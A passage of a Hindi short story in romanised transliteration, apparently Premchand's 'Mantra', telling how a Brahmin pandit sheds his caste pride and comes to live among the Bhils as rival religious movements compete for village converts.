mullaoan ne maidan khali pa kar as-pas ke dehatoan mean khoob zor baandh rakha tha. gaanv ke gaanv musalaman hote jate the. udhar hindoo-sabha ne sannata khianch liya tha. kisi ki himmat n p dati thi ki idhar aye. log door baithe hue musalamanoan par gola-barood chala rahe the. is hatya ka badala kaise liya jae, yahi unake samane sabase b di samasya thi. adhikariyoan ke pas bar-bar prarthana-patr bheje ja rahe the ki is mamale ki chhanabin ki jae aur bar-bar yahi javab milata tha ki hatyakariyoan ka pata nahian chalata. udhar pandit ji ke smarak ke lie chanda bhi jama kiya ja raha tha. magar is nayi jyoti ne mullaoan ka rang phika kar diya. vahaan ek aise devata ka avatar hua tha, jo murdoan ko zila deta tha, jo apane bhaktoan ke kalyan ke lie apane pranoan ka balidan kar sakata tha. mullaoan ke yahaan yah sidhdi kahaan, yah vibhooti kahaan, yah chamatkar kahaan ? is jvalant upakar ke samane jannat aur akhoobat (bhatri-bhav) ki kori dalilean kab thahar sakati thian ? pandit ji ab vah apane brahmanatv par ghamand karanevale pandit ji n the. unhoanne shoodroan aur bhiloan ka adar karana sikh liya tha. unhean chhati se lagate hue ab pandit ji ko ghrina n hoti thi. apana ghar aandhera pa kar hi ye isalami dipak ki or jhuke the. jab apane ghar mean soory ka prakash ho gaya, to unhean doosaroan ke yahaan jane ki kya zaroorat thi. sanatan-dharm ki vijay ho gayi. gaanv-gaanv mean mantr banane lage aur sham-sabere mandiroan se shankh aur ghante ki dhavani sunayi dene lagi. logoan ke acharan ap hi ap sudharane lage. pandit ji ne kisi ko shuddh nahian kiya. unhean ab shuddhi ka nam lete sharm ati thi , maian bhala inhean kya shuddh karooanga, pahale apane ko to shuddh kar looan. aisi nirmal evan pavitr atmaoan ko shuddhike dhoang se apamanit nahian kar sakata.

yah mantr tha, jo unhoanne un chaandaloan se sikha tha aur isi bal se vah apane dharm ki raksha karane mean saphal hue the. pandit ji abhi jivit haian; par ab saparivar usi praant mean, unhian bhiloan ke sath rahate haian.